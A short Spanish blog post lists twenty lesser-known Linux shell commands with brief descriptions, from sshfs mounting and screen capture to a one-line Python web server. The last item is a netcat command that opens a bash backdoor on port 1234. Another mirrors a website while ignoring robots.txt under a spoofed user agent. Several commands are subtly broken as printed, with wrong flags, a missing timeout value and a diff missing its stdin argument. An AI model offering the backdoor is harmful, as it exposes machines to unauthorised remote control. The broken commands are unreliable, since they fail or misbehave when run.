Solapas principales

Jun 7, 2013

Comandos poco usados

1- monta el directorio/sistema de ficheros a través de SSH.

sshfs user@host:/path/to/dir /path/to/mount/point

2- ejecuta el comando anterior reemplazando la cadena “foo” por “bar”.

!!:gs/foo/bar

3- muestra los sistemas de ficheros montados de una forma ordenada.

mount | column -t

4- Ejecuta un comando sin guardarlo en el historial.

[space] command

5- Compara un fichero remoto con un fichero local.

ssh user@host cat /path/to/remotefile | diff /path/to/localfile

6- captura el video de un escritorio Linux.

ffmpeg -f x11grab -s wxga -r 25 -I :0.0 -sameq /tmp/out.mpg

7- mtr combina la funcionalidad de traceroute y ping.

mtr google.com

8- Guarda un fichero que has editado en vim sin los permisos necesarios.

:w !sudo tee %

9- Ejecuta un servidor web en el directorio actual accesible mediante http://$HOSTNAME:8000/.

 python -m SimpleHTTPServer

10- Ejecuta el último comando como root.

sudo !!

11- Descarga un sitio web entero.

wget -random-wait -r -p -e robots=off -U mozilla http://www.example.com

12– lista el tamaño de todos los subdirectorios desde la posición actual.

du -h --max-depth=1

13– acceso rápido a la tabla ASCII.

man ascii

14- Apaga un Windows desde Linux.

net rpc shutdown -I WindowsIPAddr -U user%password

15- muestra el top 10 de procesos ordenados por uso de memoria.

ps -aux | sort -nk + 4 | tail

16– configura una alarma sonora cuando la dirección IP se pone en línea.

ping -i 60 -a IPAddr

17– arranca un sencillo servidor SMTPescuchando en el puerto 1025 de localhost.

python -m smtpd -n -c DebuggingServer localhost:1025

18- ver la actividad del servicio de red en tiempo real.

lsof -i

19– muestra la distribución Linux instalada.

cat /etc/issue

20– crea un backdoor para permitir conexiones remotas a bash con netcat

nc -w -l -p 1234 -e /bin/bash

FUENTE ORIGINAL